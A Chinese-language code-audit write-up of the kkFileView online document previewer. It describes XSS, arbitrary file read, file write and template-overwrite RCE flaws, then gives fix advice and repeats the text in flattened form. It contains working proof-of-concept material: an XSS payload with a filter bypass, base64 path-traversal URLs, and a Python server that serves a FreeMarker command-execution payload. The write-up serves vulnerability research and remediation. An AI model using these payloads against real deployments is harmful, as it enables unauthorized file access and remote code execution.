一次对在线文档预览的JAVA代码审计
字数 1304 2025-08-06 18:08:09

在线文档预览系统Java代码审计与漏洞分析

系统概述

kkFileView是一个开源的在线文档预览系统,仓库地址:

  • GitHub: https://github.com/kekingcn/kkFileView
  • Gitee: https://gitee.com/kekingcn/file-online-preview

漏洞分析

1. XSS注入漏洞

漏洞位置

  • 类: cn.keking.web.filter.AttributeSetFilter
  • 方法: setWatermarkAttribute
  • 模板文件: src/main/resources/web/commonHeader.ftl

漏洞详情

多个参数未进行XSS过滤,参数在commonHeader.ftl模板中被使用,该模板被多个模板文件引用,包括picture.ftl

复现方法

访问路径:

/picturesPreview?urls=aHR0cDovLzE=&watermarkXSpace=1});}}alert(1);function a(){function b(){return ({//

修复过程

  1. 初始修复方案存在问题,仅过滤了{}字符
  2. 绕过方法:使用eval()和ES6反引号,配合16进制编码
    eval(`\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29`)
    
  3. 建议修复方案:
    • 用引号包裹输出值
    • 对数值型参数使用parseInt/Float()强制转换
    parseInt("${watermarkXSpace}")
    
  4. 官方最终修复:在Java端限制参数必须为数值

2. 任意文件读取漏洞

漏洞位置

  • 接口: /onlinePreview
  • 类: cn.keking.web.controller.OnlinePreviewController#onlinePreview
  • 方法: FileHandlerService#getFileAttribute

漏洞详情

  1. 未授权接口接收base64编码的url参数
  2. 解析url参数中的fullfilename作为文件名(文件名本身也存在XSS漏洞)
  3. CodeFilePreviewImplXmlFilePreviewImplMarkdownFilePreviewImpl调用SimTextFilePreviewImpl处理
  4. SimTextFilePreviewImpl#filePreviewHandle通过textData读取文件内容

复现方法

/onlinePreview?url=aHR0cDovMSEvP2Z1bGxmaWxlbmFtZT0uLi8uLi8uLi8uLi9wb20ueG1s

3. 文件写入漏洞

新版分析

  • 类: SimTextFilePreviewImpl#filePreviewHandle
  • 方法: DownloadUtils#downLoad
  • 条件: 本地不存在该文件才会触发下载

旧版分析(2021年12月17日前)

  • 无跳过下载逻辑
  • 可导致任意文件写入

复现方法

  1. 搭建恶意服务器(Python示例):
from http.server import HTTPServer, BaseHTTPRequestHandler

host = ('0.0.0.0', 8888)

class CustomizeHttpServer(BaseHTTPRequestHandler):
    def do_POST(self):
        self.do_GET()
    def do_GET(self):
        self.wfile.write(b'<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}')

if __name__ == '__main__':
    server = HTTPServer(host, CustomizeHttpServer)
    print("Starting server, listen at: %s:%s" % host)
    server.serve_forever()
  1. 发起攻击:
/onlinePreview?url=aHR0cDovLzEyNy4wLjAuMTo4ODg4P2Z1bGxmaWxlbmFtZT1hLnhtbA==

4. 覆盖模板文件RCE(假想)

利用条件

  • 使用war方式部署或直接运行的项目
  • 可覆盖模板文件

攻击步骤

  1. 修改服务器返回恶意代码:
self.wfile.write(b'<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}')
  1. 利用目录穿越覆盖文件:
/onlinePreview?url=aHR0cDovLzEyNy4wLjAuMTo4ODg4P2Z1bGxmaWxlbmFtZT0uLi8uLi8uLi90YXJnZXQvY2xhc3Nlcy93ZWIvaW5kZXguZnRs
  1. 再次访问造成RCE

修复建议总结

  1. 对所有用户输入进行严格的过滤和验证
  2. 对文件路径进行规范化处理,防止目录遍历
  3. 限制文件下载功能,避免任意文件写入
  4. 对模板文件进行权限控制,防止被覆盖
  5. 对敏感接口实施访问控制

免责声明

本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。

在线文档预览系统Java代码审计与漏洞分析 系统概述 kkFileView是一个开源的在线文档预览系统,仓库地址: GitHub: https://github.com/kekingcn/kkFileView Gitee: https://gitee.com/kekingcn/file-online-preview 漏洞分析 1. XSS注入漏洞 漏洞位置 类: cn.keking.web.filter.AttributeSetFilter 方法: setWatermarkAttribute 模板文件: src/main/resources/web/commonHeader.ftl 漏洞详情 多个参数未进行XSS过滤,参数在 commonHeader.ftl 模板中被使用,该模板被多个模板文件引用,包括 picture.ftl 。 复现方法 访问路径: 修复过程 初始修复方案存在问题,仅过滤了 {} 字符 绕过方法:使用eval()和ES6反引号,配合16进制编码 建议修复方案: 用引号包裹输出值 对数值型参数使用parseInt/Float()强制转换 官方最终修复:在Java端限制参数必须为数值 2. 任意文件读取漏洞 漏洞位置 接口: /onlinePreview 类: cn.keking.web.controller.OnlinePreviewController#onlinePreview 方法: FileHandlerService#getFileAttribute 漏洞详情 未授权接口接收base64编码的url参数 解析url参数中的fullfilename作为文件名(文件名本身也存在XSS漏洞) CodeFilePreviewImpl 、 XmlFilePreviewImpl 、 MarkdownFilePreviewImpl 调用 SimTextFilePreviewImpl 处理 SimTextFilePreviewImpl#filePreviewHandle 通过 textData 读取文件内容 复现方法 3. 文件写入漏洞 新版分析 类: SimTextFilePreviewImpl#filePreviewHandle 方法: DownloadUtils#downLoad 条件: 本地不存在该文件才会触发下载 旧版分析(2021年12月17日前) 无跳过下载逻辑 可导致任意文件写入 复现方法 搭建恶意服务器(Python示例): 发起攻击: 4. 覆盖模板文件RCE(假想) 利用条件 使用war方式部署或直接运行的项目 可覆盖模板文件 攻击步骤 修改服务器返回恶意代码: 利用目录穿越覆盖文件: 再次访问造成RCE 修复建议总结 对所有用户输入进行严格的过滤和验证 对文件路径进行规范化处理,防止目录遍历 限制文件下载功能,避免任意文件写入 对模板文件进行权限控制,防止被覆盖 对敏感接口实施访问控制 免责声明 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。